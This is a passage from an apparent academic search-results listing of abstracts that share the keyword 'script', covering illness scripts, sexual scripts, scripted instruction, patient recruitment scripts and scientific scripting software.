    2015-01-01

    Children with developmental disabilities may engage in less frequent and more repetitious language than peers with typical development. Scripts have been used to increase communication by teaching one or more specific statements and then fading the scripts. In the current study, preschoolers with developmental disabilities experienced a novel…

  7. Normative Ideas of Life and Autobiographical Reasoning in Life Narratives

    ERIC Educational Resources Information Center

    Bohn, Annette

    2011-01-01

    Autobiographical reasoning is closely related to the development of normative ideas about life as measured by the cultural life script. The acquisition of a life script is an important prerequisite for autobiographical reasoning because children learn through the life script which events are expected to go into their life story, and when to expect…

  8. FORUM: Instructional Communication and Millennial Students: Scripting Knowledge and Experiences for Millennial Students

    ERIC Educational Resources Information Center

    Hosek, Angela M.; Titsworth, Scott

    2016-01-01

    Millennial students are immersed in a digital world governed by codes and scripts. Coders create programs from scratch. We interact with code when we launch most programs like Microsoft Word or a web browser. Alternatively, scripting uses programing environments (or middleware) in which combinations of stock commands are used. Many applications…

  9. Scripting, Ritualising and Performing Leadership: Interrogating Recent Policy Developments in Australia

    ERIC Educational Resources Information Center

    Fitzgerald, Tanya; Savage, Julia

    2013-01-01

    In this article, we argue that leadership of schools is a form of performance that has become ritualised and routinised through the official scripting of policy texts that mandate how leadership of schools should occur. Our interrogation of recent policy scripts in Australia reveals that there is limited scope for leadership in schools to occur as…

  10. [A Series of Motion Picture Documents in Communication Theory and the New Educational Media. Final Scripts.

    ERIC Educational Resources Information Center

    Wagner, Robert W.

    This publication contains four film scripts, each comprising from six to eleven short sequences. Each script has a complete shot list and transcript of the soundtrack, which contains narration, interviews, discussions, and synchronous sound from documentary situations. The six sequences in "The Information Explosion" cover the history of…

  11. Building Composite Characters on a Postscript Printer.

    ERIC Educational Resources Information Center

    Gothard, James E.

    Procedures enabling the placement of diacritical markings over a character for printing in PostScript fonts on an Apple LaserWriter printer are described. The procedures involve some programming in the PostScript Language and manipulation of Adobe PostScript fonts. It is assumed that Microsoft Word will be used to create the text to be printed.…

  12. SolTrace FAQs | Concentrating Solar Power | NREL

    Science.gov Websites

    that should be noted: when using a cubic spline file to describe a surface, if that file contains a help for script functions? A: Yes, when typing a script function within the scripting window, as you results. When the limit is reached, SolTrace generates the following error message (Windows version; Mac

  13. The Dilemma of Scripted Instruction: Comparing Teacher Autonomy, Fidelity, and Resistance in the Froebelian Kindergarten, Montessori, Direct Instruction, and Success for All

    ERIC Educational Resources Information Center

    Beatty, Barbara

    2011-01-01

    Background/Context: More than a century before modern controversies over scripted instruction, the Froebelian kindergarten--the original kindergarten method designed by Friedrich Froebel--and Maria Montessori's pedagogy were criticized for rigidly prescribing how teachers taught and children learned. Today, scripted methods such as Direct…

  14. Power and Agency in a High Poverty Elementary School: How Teachers Experienced a Scripted Reading Program

    ERIC Educational Resources Information Center

    Powell, Rebecca; Cantrell, Susan Chambers; Correll, Pamela

    2017-01-01

    This phenomenological investigation was designed to answer the following question: In this school, what were teachers' experiences with a scripted reading program? Seventeen teachers were interviewed at the end of the first year of implementing a scripted program. Four themes emerged from this analysis: (1) The program supported teachers' work…

  15. Assessing Patient Management Plans of Doctors and Medical Students: An Illness Script Perspective

    ERIC Educational Resources Information Center

    Monajemi, Alireza; Schmidt, Henk G.; Rikers, Remy M. J. P.

    2012-01-01

    Introduction: Illness script theory offers explanations for expert-novice differences in clinical reasoning. However, it has mainly focused on diagnostic (Dx) performance, while patient management (Mx) has been largely ignored. The aim of the present study was to show the role of Mx knowledge in illness script development and how it relates to…

  16. Stagings: Short Scripts for Middle and High School Students.

    ERIC Educational Resources Information Center

    Garner, Joan

    Introducing students to the magic of theater and helping them develop dramatic skills, this book presents nine reproducible scripts for short plays (15 to 25 minutes) with characters and story lines that will appeal to young people. The scripts in the book encompass a variety of story types, from adaptations of well-known fairy tales to original…

  17. Introduction to Human Services, Chapter III. Video Script Package, Text, and Audio Script Package.

    ERIC Educational Resources Information Center

    Miami-Dade Community Coll., FL.

    Video, textual, and audio components of the third module of a multi-media, introductory course on Human Services are presented. The module packages, developed at Miami-Dade Community College, deal with technology, social change, and problem dependencies. A video cassette script is first provided that explores the "traditional,""inner," and "other…

  18. JavaScript: Convenient Interactivity for the Class Web Page.

    ERIC Educational Resources Information Center

    Gray, Patricia

    This paper shows how JavaScript can be used within HTML pages to add interactive review sessions and quizzes incorporating graphics and sound files. JavaScript has the advantage of providing basic interactive functions without the use of separate software applications and players. Because it can be part of a standard HTML page, it is…

  19. The United States Constitution: A Non-Trivial Pursuit. Fifty-Three Radio Scripts.

    ERIC Educational Resources Information Center

    Mead, Walter B.

    These 53 radio scripts present the history of the founding and ratification of the U.S. Constitution. Each script is designed to fit within a 2 to 2-1/2 minute time-frame. The titles are: "Introduction to Series" (Promotional Segment); "Did You Know: Our Present Constitution Is Our Second Constitution?"; "The First…

  20. The Role of Semantic Processing in Reading Japanese Orthographies: An Investigation Using a Script-Switch Paradigm

    ERIC Educational Resources Information Center

    Dylman, Alexandra S.; Kikutani, Mariko

    2018-01-01

    Research on Japanese reading has generally indicated that processing of the logographic script Kanji primarily involves whole-word lexical processing and follows a semantics-to-phonology route, while the two phonological scripts Hiragana and Katakana (collectively called Kana) are processed via a sub-lexical route, and more in a…

  1. Computer-Based Script Training for Aphasia: Emerging Themes from Post-Treatment Interviews

    ERIC Educational Resources Information Center

    Cherney, Leora R.; Halper, Anita S.; Kaye, Rosalind C.

    2011-01-01

    This study presents results of post-treatment interviews following computer-based script training for persons with chronic aphasia. Each of the 23 participants received 9 weeks of AphasiaScripts training. Post-treatment interviews were conducted with the person with aphasia and/or a significant other person. The 23 interviews yielded 584 coded…

  2. Unrecognized Cultural Conventions for Assessing Word Reading That Affect Research and Practice

    ERIC Educational Resources Information Center

    Fletcher-Flinn, Claire M.; Thompson, G. Brian; Yamada, Megumi; Naka, Makiko

    2014-01-01

    In research on the acquisition of reading, there have been cross-orthographic comparisons made between some alphabetic scripts and a few syllabic scripts. In the present study of Japanese Grade 1 children learning to read hiragana, a syllabic script, there was a comparison of assessments of oral word reading accuracy levels recorded by scorers…

  3. The Use of Interactive Whiteboards in Teaching Non-Roman Scripts

    ERIC Educational Resources Information Center

    Tozcu, Anjel

    2008-01-01

    This study explores the use of the interactive whiteboards in teaching the non-Latin based orthographies of Hindi, Pashto, Dari, Persian (Farsi), and Hebrew. All these languages use non-roman scripts, and except for Hindi, they are cursive. Thus, letters within words are connected and for beginners the script may look quite complicated,…

  4. Tell Me Your Story: Analysis of Script Topics Selected by Persons with Aphasia

    ERIC Educational Resources Information Center

    Holland, Audrey L.; Halper, Anita S.; Cherney, Leora R.

    2010-01-01

    Purpose: This study examined the content of 100 short scripts, co-constructed by persons with aphasia (PWA) and a clinician. The PWA subsequently learned the scripts by interacting with a computerized virtual therapist. The goal was to provide clinicians with ideas regarding content for treatment that is meaningful to PWAs. Method: Thirty-three…

  5. Scripted Reading Programs: Fishing for Success

    ERIC Educational Resources Information Center

    Duncan-Owens, Deborah

    2009-01-01

    "Give a man a fish and he will eat for a day. Teach a man to fish and he will eat for the rest of his life." This popular Chinese proverb is an apt metaphor for the dilemma faced by principals and curriculum coordinators when deciding whether to purchase a scripted commercial reading program. Although a scripted reading program may solve…

  6. Stage by Stage: A Handbook for Using Drama in the Second Language Classroom.

    ERIC Educational Resources Information Center

    Burke, Ann F.; O'Sullivan, Julie C.

    This book offers teachers the tools they need to incorporate drama into their language classes. It provides instructions on how to do the following: conduct a drama class; use acting and role-play exercises; select appropriate scripts for language learners; guide students to write their own scripts; and dramatize scripts for performance. Chapter…

  7. Improving Comprehensive Medication Review Acceptance by Using a Standardized Recruitment Script: A Randomized Control Trial.

    PubMed

    Miguel, Alexander; Hall, Anna; Liu, Wei; Garrett, Jeremy; Ballew, Angel; Yang, Tsu-Hsaun; Segal, Richard

    2017-01-01

    The Centers for Medicare & Medicaid Services (CMS) require prescription drug plan sponsors to offer a comprehensive medication review (CMR) annually to eligible beneficiaries through the plans' Medication Therapy Management Programs (MTMPs). In 2011, the Pharmacy Quality Alliance endorsed the CMR completion rate as a quality measure for MTMPs, and CMS has adopted the measure into the 2016 CMS star ratings. CMS star ratings are used to describe the quality of plans to assist Medicare plan enrollees in choosing a plan and to determine quality bonus payments for Medicare Advantage plans. Star ratings are measured on a scale of 1 to 5, with 5 being the highest possible rating for an individual measure. Currently, the majority of plans score 2 stars or less on the CMR completion rate measure. To demonstrate the effectiveness of a standardized CMR recruitment script emphasizing the benefits of the service to increase acceptance of CMR offers among beneficiaries of a Medicare prescription drug plan. A CMR recruitment script, shaped by the Health Belief Model, was developed based on a previous pilot study. The original script described the CMR service but did not emphasize key benefits or barriers from the beneficiary perspective. The updated script aimed to enhance beneficiary understanding of the CMR service, explain the benefits from the beneficiary perspective, and address potential barriers to accepting the service. The updated script was tested during the 2012 MTMP enrollment in a randomized controlled experiment, using the original script as the control. The CMR service was offered to MTMP members via phone calls by live call agents who spoke with members who answered, using 1 of the 2 scripts. Both scripts asked members if they were willing to have a pharmacist call them back and perform a CMR at a later date. Two call attempts were made to all eligible beneficiaries. If contact was not made after 2 unsuccessful outreach attempts, a computer-generated voicemail message was left, and an informational letter regarding the MTMP and CMR was subsequently mailed. CMR acceptance rates, defined as the proportion of beneficiaries who spoke with a call agent and agreed to participate in the CMR service, divided by the total number of beneficiaries contacted who confirmed their membership with the Part D plan, were compared between those exposed to the original script and those exposed to the updated script. Multivariate logistic regression was employed to examine factors that may have influenced members' decisions regarding the offer to participate in CMRs. There were 105,701 beneficiaries in the first quarter of the MTMP 2012 enrollment who were eligible for the MTM service. Approximately 10% of eligible beneficiaries answered the live calls and listened to the scripts. On average, members who responded to calls were aged 68.9 years, prescribed 10.5 chronic medications, and had 6 different chronic conditions. Among members who answered the calls, 52.9% were exposed to the original script, and 47.1% heard the updated script. For the updated script, 48.2% of the members accepted the offer to be subsequently contacted by a pharmacist to complete the CMR, whereas 38.1% of members exposed to the original script agreed to the CMR offer. Logistic regression results indicated that members who received the updated script were 1.58 (95% CI = 1.45-1.72) times more likely to accept the CMR offer compared with those who received the original script. Among other factors, increased number of chronic medications (OR = 1.038, 95% CI = 1.020-1.057), increased number of disease conditions (OR = 1.039, 95% CI = 1.014-1.064), and previous involvement in the MTMP were positively associated with acceptance of the CMR offer. The updated script outperformed the original script in promoting member willingess to participate in a CMR by describing key components and emphasizing benefits of participation. CMR engagement remains a challenge for Medicare plan sponsors. This study demonstrates that to overcome common hurdles to CMR engagement, sponsors should seek strategies to educate members regarding MTM programs and the benefits and components of a CMR. No outside funding supported this study. Research for this study was conducted while Liu was a postdoctoral fellow at the University of Florida. Liu is currently an employee of the U.S. Food and Drug Administration (FDA). The views expressed here are those of the authors and not necessarily those of the FDA. Yang reports receiving a research fellowship funded by WellCare Health Plans at the time of this study. The authors report no other potential conflicts of interest. Study concept and design were primarily contributed by Yang, Segal, and Miguel, along with Hall, Liu, and Ballew. Miguel, Liu, Yang, Ballew, and Hall collected the data, which were analysed and interpreted primarily by Liu, along with Yang and Segal and assisted by the other authors. The manuscript was written primarily by Miguel, Hall, and Garret, along with Liu, Yang, and Ballew, and revised by Ballew, Segal, Hall, and Miguel, along with Liu and Yang.

  8. Illness script development in pre-clinical education through case-based clinical reasoning training

    PubMed Central

    Keemink, Yvette; van Dijk, Savannah; ten Cate, Olle

    2018-01-01

    Objectives To assess illness script richness and maturity in preclinical students after they attended a specifically structured instructional format, i.e., a case based clinical reasoning (CBCR) course. Methods In a within-subject experimental design, medical students who had finished the CBCR course participated in an illness script experiment. In the first session, richness and maturity of students’ illness scripts for diseases discussed during the CBCR course were compared to illness script richness and maturity for similar diseases not included in the course. In the second session, diagnostic performance was tested, to test for differences between CBCR cases and non-CBCR cases. Scores on the CBCR course exam were related to both experimental outcomes. Results Thirty-two medical students participated. Illness script richness for CBCR diseases was almost 20% higher than for non-CBCR diseases, on average 14.47 (SD=3.25) versus 12.14 (SD=2.80), respectively (p<0.001). In addition, students provided more information on Enabling Conditions and less on Fault-related aspects of the disease. Diagnostic performance was better for the diseases discussed in the CBCR course, mean score 1.63 (SD=0.32) versus 1.15 (SD=0.29) for non-CBCR diseases (p<0.001). A significant correlation of exam results with recognition of CBCR cases was found (r=0.571, p<0.001), but not with illness script richness (r=–0.006, p=NS). Conclusions The CBCR-course fosters early development of clinical reasoning skills by increasing the illness script richness and diagnostic performance of pre-clinical students. However, these results are disease-specific and therefore we cannot conclude that students develop a more general clinical reasoning ability. PMID:29428911

  9. Illness script development in pre-clinical education through case-based clinical reasoning training.

    PubMed

    Keemink, Yvette; Custers, Eugene J F M; van Dijk, Savannah; Ten Cate, Olle

    2018-02-09

    To assess illness script richness and maturity in preclinical students after they attended a specifically structured instructional format, i.e., a case based clinical reasoning (CBCR) course. In a within-subject experimental design, medical students who had finished the CBCR course participated in an illness script experiment. In the first session, richness and maturity of students' illness scripts for diseases discussed during the CBCR course were compared to illness script richness and maturity for similar diseases not included in the course. In the second session, diagnostic performance was tested, to test for differences between CBCR cases and non-CBCR cases. Scores on the CBCR course exam were related to both experimental outcomes. Thirty-two medical students participated. Illness script richness for CBCR diseases was almost 20% higher than for non-CBCR diseases, on average 14.47 (SD=3.25) versus 12.14 (SD=2.80), respectively (p<0.001). In addition, students provided more information on Enabling Conditions and less on Fault-related aspects of the disease. Diagnostic performance was better for the diseases discussed in the CBCR course, mean score 1.63 (SD=0.32) versus 1.15 (SD=0.29) for non-CBCR diseases (p<0.001). A significant correlation of exam results with recognition of CBCR cases was found (r=0.571, p<0.001), but not with illness script richness (r=-0.006, p=NS). The CBCR-course fosters early development of clinical reasoning skills by increasing the illness script richness and diagnostic performance of pre-clinical students. However, these results are disease-specific and therefore we cannot conclude that students develop a more general clinical reasoning ability.

  10. TmiRUSite and TmiROSite scripts: searching for mRNA fragments with miRNA binding sites with encoded amino acid residues.

    PubMed

    Berillo, Olga; Régnier, Mireille; Ivashchenko, Anatoly

    2014-01-01

    microRNAs are small RNA molecules that inhibit the translation of target genes. microRNA binding sites are located in the untranslated regions as well as in the coding domains. We describe TmiRUSite and TmiROSite scripts developed using python as tools for the extraction of nucleotide sequences for miRNA binding sites with their encoded amino acid residue sequences. The scripts allow for retrieving a set of additional sequences at left and at right from the binding site. The scripts presents all received data in table formats that are easy to analyse further. The predicted data finds utility in molecular and evolutionary biology studies. They find use in studying miRNA binding sites in animals and plants. TmiRUSite and TmiROSite scripts are available for free from authors upon request and at https: //sites.google.com/site/malaheenee/downloads for download.

  11. "Anything from making out to having sex": men's negotiations of hooking up and friends with benefits scripts.

    PubMed

    Epstein, Marina; Calzo, Jerel P; Smiler, Andrew P; Ward, L Monique

    2009-01-01

    Popular media and academic literature often portray men as happy beneficiaries of nonrelational or casual sex--a view that is consistent with traditional notions of masculinity. This study examined the validity of this notion, using semistructured interviews to explore ways that 19 college-age men defined and enacted "hooking up" and "friends with benefits" scripts. Men's definitions reflected both standard and alternate conceptions of these scripts, and their experiences indicated variability in intentions and outcomes. Whereas a few men embraced the no-strings-attached nonrelational scripts, most rejected the script or enacted an amended version that allowed for greater relational connection. Further, their experiences were not all positive and were not all devoid of emotional connection. These alternative enactments challenge the pro-masculine, universally positive conceptualization of nonrelational sex portrayed in the media and in some empirical research.

  12. A Tool to Teach Communication Skills to Pharmacy Students

    PubMed Central

    2008-01-01

    Objective To develop a tool to teach pharmacy students assertive communication skills to use when talking with physicians over the telephone. Design As an assignment for their Communication Skills and Counseling course, students were asked to write a script involving a patient care issue or problem covering 3 different communication styles that could be used when contacting a prescriber by telephone: passive, aggressive, and assertive. Students worked in groups to write and act out the scripts for the class. Assessment Eight scripts were developed by students and rated by peers and faculty members. The script that received the highest ratings was used in the development of a multimedia educational CD. Conclusion The development of hypothetical scripts describing a drug therapy problem and illustrating the types of interactions between physicians and pharmacists while discussing the problem allowed pharmacy students to explore different communication techniques and improve their communication skills. PMID:18698394

  13. Scoria: a Python module for manipulating 3D molecular data.

    PubMed

    Ropp, Patrick; Friedman, Aaron; Durrant, Jacob D

    2017-09-18

    Third-party packages have transformed the Python programming language into a powerful computational-biology tool. Package installation is easy for experienced users, but novices sometimes struggle with dependencies and compilers. This presents a barrier that can hinder the otherwise broad adoption of new tools. We present Scoria, a Python package for manipulating three-dimensional molecular data. Unlike similar packages, Scoria requires no dependencies, compilation, or system-wide installation. One can incorporate the Scoria source code directly into their own programs. But Scoria is not designed to compete with other similar packages. Rather, it complements them. Our package leverages others (e.g. NumPy, SciPy), if present, to speed and extend its own functionality. To show its utility, we use Scoria to analyze a molecular dynamics trajectory. Our FootPrint script colors the atoms of one chain by the frequency of their contacts with a second chain. We are hopeful that Scoria will be a useful tool for the computational-biology community. A copy is available for download free of charge (Apache License 2.0) at http://durrantlab.com/scoria/ . Graphical abstract .

  14. PCDAQ, A Windows Based DAQ System

    NASA Astrophysics Data System (ADS)

    Hogan, Gary

    1998-10-01

    PCDAQ is a Windows NT based general DAQ/Analysis/Monte Carlo shell developed as part of the Proton Radiography project at LANL (Los Alamos National Laboratory). It has been adopted by experiments outside of the Proton Radiography project at Brookhaven National Laboratory (BNL) and at LANL. The program provides DAQ, Monte Carlo, and replay (disk file input) modes. Data can be read from hardware (CAMAC) or other programs (ActiveX servers). Future versions will read VME. User supplied data analysis routines can be written in Fortran, C++, or Visual Basic. Histogramming, testing, and plotting packages are provided. Histogram data can be exported to spreadsheets or analyzed in user supplied programs. Plots can be copied and pasted as bitmap objects into other Windows programs or printed. A text database keyed by the run number is provided. Extensive software control flags are provided so that the user can control the flow of data through the program. Control flags can be set either in script command files or interactively. The program can be remotely controlled and data accessed over the Internet through its ActiveX DCOM interface.

  15. Gene Graphics: a genomic neighborhood data visualization web application.

    PubMed

    Harrison, Katherine J; Crécy-Lagard, Valérie de; Zallot, Rémi

    2018-04-15

    The examination of gene neighborhood is an integral part of comparative genomics but no tools to produce publication quality graphics of gene clusters are available. Gene Graphics is a straightforward web application for creating such visuals. Supported inputs include National Center for Biotechnology Information gene and protein identifiers with automatic fetching of neighboring information, GenBank files and data extracted from the SEED database. Gene representations can be customized for many parameters including gene and genome names, colors and sizes. Gene attributes can be copied and pasted for rapid and user-friendly customization of homologous genes between species. In addition to Portable Network Graphics and Scalable Vector Graphics, produced representations can be exported as Tagged Image File Format or Encapsulated PostScript, formats that are standard for publication. Hands-on tutorials with real life examples inspired from publications are available for training. Gene Graphics is freely available at https://katlabs.cc/genegraphics/ and source code is hosted at https://github.com/katlabs/genegraphics. katherinejh@ufl.edu or remizallot@ufl.edu. Supplementary data are available at Bioinformatics online.

  16. Evidence-Based Scripted Videos on Handling Student Misbehavior: The Development and Evaluation of Video Cases for Teacher Education

    ERIC Educational Resources Information Center

    Piwowar, Valentina; Barth, Victoria L.; Ophardt, Diemut; Thiel, Felicitas

    2018-01-01

    Scripted videos are based on a screenplay and are a viable and widely used tool for learning. Yet, reservations exist due to limited authenticity and high production costs. The present paper comprehensively describes a video production process for scripted videos on the topic of student misbehavior in the classroom. In a three step…

  17. EQS Goes R: Simulations for SEM Using the Package REQS

    ERIC Educational Resources Information Center

    Mair, Patrick; Wu, Eric; Bentler, Peter M.

    2010-01-01

    The REQS package is an interface between the R environment of statistical computing and the EQS software for structural equation modeling. The package consists of 3 main functions that read EQS script files and import the results into R, call EQS script files from R, and run EQS script files from R and import the results after EQS computations.…

  18. Effects of Simultaneous Script Training on Use of Varied Mand Frames by Preschoolers with Autism

    ERIC Educational Resources Information Center

    Sellers, Tyra P.; Kelley, Kristen; Higbee, Thomas S.; Wolfe, Katie

    2016-01-01

    Young children with autism may fail to mand using a range of frames (e.g., "I want," "May I have," "Please give me"). We examined the effects of simultaneous script training and script fading on acquisition and maintenance of varied mand frames with six preschool children with autism. For participants who did not…

  19. Running Gaussian16 Software Jobs on the Peregrine System | High-Performance

    Science.gov Websites

    , parallel setup is taken care of automatically based on settings in the PBS script example below. Previous filesystem called /dev/shm. This scratch space is set automatically by the example script below. The Gaussian system. An example script for batch submission is given below. #!/bin/bash #PBS -l nodes=2 #PBS -l

  20. Peer Review-Based Scripted Collaboration to Support Domain-Specific and Domain-General Knowledge Acquisition in Computer Science

    ERIC Educational Resources Information Center

    Demetriadis, Stavros; Egerter, Tina; Hanisch, Frank; Fischer, Frank

    2011-01-01

    This study investigates the effectiveness of using peer review in the context of scripted collaboration to foster both domain-specific and domain-general knowledge acquisition in the computer science domain. Using a one-factor design with a script and a control condition, students worked in small groups on a series of computer science problems…

  1. Writing World-Wide Web CGI scripts in the REXX language

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Cottrell, R.L.A.

    This talk is aimed at people who have experience with REXX and are interested in using it to write WWW CGI scripts. As part of this, the author describes several functions that are available in a library of REXX functions that simplify writing WWW CGI scripts. This library is freely available at //www.slac.standard.edu/slac/www/tool/cgi-rexx/.

  2. Why It Is Hard to Make Use of New Learning Spaces: A Script Perspective

    ERIC Educational Resources Information Center

    Kollar, Ingo; Pilz, Florian; Fischer, Frank

    2014-01-01

    The authors argue that a script perspective can lead to a better understanding of learning in new learning spaces. Scripts can be understood as flexible, individual memory structures guiding our understanding and actions, but also as instructional interventions that help students use the affordances offered in new learning spaces. In study 1 (N =…

  3. Mother Tongue in Indigenous Script as Medium of Instruction: Discourses among Migrant Santals of Kolkata

    ERIC Educational Resources Information Center

    Das, Ruchira

    2017-01-01

    Olchiki is the indigenous script of Santals, a dominant tribal community of West Bengal, formulated to promote and represent "adi" cultural heritage and traditions in their mother tongue Santali. The script was recognised by the Government of West Bengal in 1978 and was introduced at the primary level of education. However, there have…

  4. Prediction of Sexual Assault Experiences in College Women Based on Rape Scripts: A Prospective Analysis

    ERIC Educational Resources Information Center

    Turchik, Jessica A.; Probst, Danielle R.; Irvin, Clinton R.; Chau, Minna; Gidycz, Christine A.

    2009-01-01

    Although script theory has been applied to sexual assault (e.g., H. Frith & C. Kitzinger, 2001; A. S. Kahn, V. A. Andreoli Mathie, & C. Torgler, 1994), women's scripts of rape have not been examined in relation to predicting sexual victimization experiences. The purpose of the current study was to examine how elements of women's sexual assault…

  5. The Effects of Multiple Script Priming on Word Recognition by the Two Cerebral Hemispheres: Implications for Discourse Processing

    ERIC Educational Resources Information Center

    Faust, Miriam; Barak, Ofra; Chiarello, Christine

    2006-01-01

    The present study examined left (LH) and right (RH) hemisphere involvement in discourse processing by testing the ability of each hemisphere to use world knowledge in the form of script contexts for word recognition. Participants made lexical decisions to laterally presented target words preceded by centrally presented script primes (four…

  6. Dyadic Qualitative Analysis of Condom Use Scripts Among Emerging Adult Gay Male Couples.

    PubMed

    Starks, Tyrel J; Pawson, Mark; Stephenson, Rob; Sullivan, Patrick; Parsons, Jeffrey T

    2018-04-03

    Sexual risk reduction among gay male couples has received increasing attention in light of evidence that primary partners account for many-and possibly most-new HIV infections. This study examined the content of condom use scripts in interviews conducted with both members of 17 HIV-negative gay male couples. In each couple, at least one partner was an emerging adult (aged 18 to 29). Three scripts were identified: romantic love, unanticipated condomless anal intercourse (CAI), and negotiated safety. Scripts varied in their emphasis on emotional factors versus HIV risk reduction, the salience of sexual agreements, and the presence of an explicit communication goal. Results indicated that condom use may vary for couples as a result of script content and from the fluid adoption of scripts across contexts. Results highlighted potential tensions between emotional closeness and HIV prevention. Condom use cessation and sexual agreements-a potential mechanism for HIV risk reduction-may also serve as expressions of intimacy. This implies interventions that facilitate direct communication about sexual and relational goals-as well as those that expand couples' repertoires for expressing emotional closeness-may enhance sexual health for gay couples, particularly during the period of emerging adulthood.

  7. The Impact of Alcohol Use on the Sexual Scripts of HIV-Positive Men Who Have Sex With Men

    PubMed Central

    Parsons, Jeffrey T.; Vicioso, Kalil J.; Punzalan, Joseph C.; Halkitis, Perry N.; Kutnick, Alexandra; Velasquez, Mary M.

    2007-01-01

    The literature has failed to form a consensus on the association between alcohol use and unsafe sex among samples of men who have sex with men (MSM). Although drinking behavior may not be causally related to unsafe sex, it is possible that alcohol use plays a role in sexual scripts. In this paper, we assessed the role that alcohol use plays in the sexual experiences of HIV-seropositive MSM in terms of sexual script theory. An ethnically diverse sample (81% men of color) of HIV-positive MSM with alcohol use disorders from the New York City metropolitan area was recruited from a variety of settings frequented by such men. A critical incident measure was used to qualitatively assess contextual issues regarding participants’ most recent incident of unsafe sex while under the influence of alcohol. Qualitative analysis revealed three basic sexual scripts involving alcohol: routine, spontaneous, and taboo. Each script had its own sources of risk for unsafe sex. Interventions targeting alcohol use and unsafe sex should be sensitive to the role that alcohol plays in the sexual scripts of HIV-positive MSM. PMID:15326541

  8. Secure Base Scripts are Associated with Maternal Parenting Behavior across Contexts and Reflective Functioning among Trauma-Exposed Mothers

    PubMed Central

    Huth-Bocks, Alissa C.; Muzik, Maria; Beeghly, Marjorie; Earls, Lauren; Stacks, Ann M.

    2015-01-01

    There is growing evidence that ‘secure-base scripts’ (Waters & Waters, 2006) are an important part of the cognitive underpinnings of internal working models of attachment. Recent research in middle class samples has shown that secure-base scripts are linked to maternal attachment-oriented behavior and child outcomes. However, little is known about the correlates of secure base scripts in higher-risk samples. Participants in the current study included 115 mothers who were oversampled for childhood maltreatment and their infants. Results revealed that a higher level of secure base scriptedness was significantly related to more positive and less negative maternal parenting in both unstructured free play and structured teaching contexts, and to higher reflective functioning scores on the Parent Development Interview-Revised Short Form (Slade, Aber, Berger, Bresgi, & Kaplan, 2003). Associations with parent-child secure base scripts, specifically, indicate some level of relationship-specificity in attachment scripts. Many, but not all, significant associations remained after controlling for family income and maternal age. Findings suggest that assessing secure base scripts among mothers known to be at risk for parenting difficulties may be important for interventions aimed at altering problematic parental representations and caregiving behavior. PMID:25319230

  9. SU-E-T-406: Use of TrueBeam Developer Mode and API to Increase the Efficiency and Accuracy of Commissioning Measurements for the Varian EDGE Stereotactic Linac

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Gardner, S; Gulam, M; Song, K

    2014-06-01

    Purpose: The Varian EDGE machine is a new stereotactic platform, combining Calypso and VisionRT localization systems with a stereotactic linac. The system includes TrueBeam DeveloperMode, making possible the use of XML-scripting for automation of linac-related tasks. This study details the use of DeveloperMode to automate commissioning tasks for Varian EDGE, thereby improving efficiency and measurement consistency. Methods: XML-scripting was used for various commissioning tasks,including couch model verification,beam-scanning,and isocenter verification. For couch measurements, point measurements were acquired for several field sizes (2×2,4×4,10×10cm{sup 2}) at 42 gantry angles for two couch-models. Measurements were acquired with variations in couch position(rails in/out,couch shifted inmore » each of motion axes) compared to treatment planning system(TPS)-calculated values,which were logged automatically through advanced planning interface(API) scripting functionality. For beam scanning, XML-scripts were used to create custom MLC-apertures. For isocenter verification, XML-scripts were used to automate various Winston-Lutz-type tests. Results: For couch measurements, the time required for each set of angles was approximately 9 minutes. Without scripting, each set required approximately 12 minutes. Automated measurements required only one physicist, while manual measurements required at least two physicists to handle linac positions/beams and data recording. MLC apertures were generated outside of the TPS,and with the .xml file format, double-checking without use of TPS/operator console was possible. Similar time efficiency gains were found for isocenter verification measurements Conclusion: The use of XML scripting in TrueBeam DeveloperMode allows for efficient and accurate data acquisition during commissioning. The efficiency improvement is most pronounced for iterative measurements, exemplified by the time savings for couch modeling measurements(approximately 10 hours). The scripting also allowed for creation of the files in advance without requiring access to TPS. The API scripting functionality enabled efficient creation/mining of TPS data. Finally, automation reduces the potential for human error in entering linac values at the machine console,and the script provides a log of measurements acquired for each session. This research was supported in part by a grant from Varian Medical Systems, Palo Alto, CA.« less

  10. A Highly Competitive Business: Jobs in Advertising. Careers: Advertising

    ERIC Educational Resources Information Center

    Alligood, Doug

    1973-01-01

    Discusses advertising as a career, including discussions of the following topics: What is advertising good for? How many persons are employed in advertising? How can one qualify for a job in advertising? How and why should blacks seek careers in advertising? Sources of information on advertising. (JM)

  11. “He Enjoys Giving her Pleasure”: Diversity and Complexity in Young Men’s Sexual Scripts

    PubMed Central

    Morrison, Diane M.; Masters, N. Tatiana; Wells, Elizabeth A.; Casey, Erin; Beadnell, Blair; Hoppe, Marilyn J.

    2014-01-01

    Research on heterosexual men’s sexual expectations has focused on self-described personal traits and culturally dominant models of masculinity. In a pair of studies, we used a sexual scripts perspective to explore the range and diversity of young men’s thoughts about sex and relationships with women and to develop measures for assessing these scripts. In the first study, we conducted semi-structured interviews to elicit young men’s accounts of their sexual relationships. We used these narratives to produce brief sexual script scenarios describing typical sexual situations, as well as conventional survey items assessing sexual behavior themes. In the second study, we administered the scenarios and theme items to an ethnically diverse, national sample of 648 heterosexually-active young men in an online survey. Using exploratory factor analysis, we delineated sets of sexual scripts and sexual behavior themes. In the scenarios, we found both a traditional masculine “player” script and a script that emphasized mutual sexual pleasure. Analysis of theme items produced scales of Drinking and Courtship, Monogamy and Emotion, and Sexual Focus and Variety. We discuss the implications of these findings for understanding heterosexual men’s thinking about sexuality and how cultural change in sexual thinking may arise. We also discuss the need for measures of sexual thinking that better integrate perceptions and expectations about the partner as well as the self in relation to the partner, rather than solely self-assessed traits. PMID:25287971

  12. A Markov model of the Indus script

    PubMed Central

    Rao, Rajesh P. N.; Yadav, Nisha; Vahia, Mayank N.; Joglekar, Hrishikesh; Adhikari, R.; Mahadevan, Iravatham

    2009-01-01

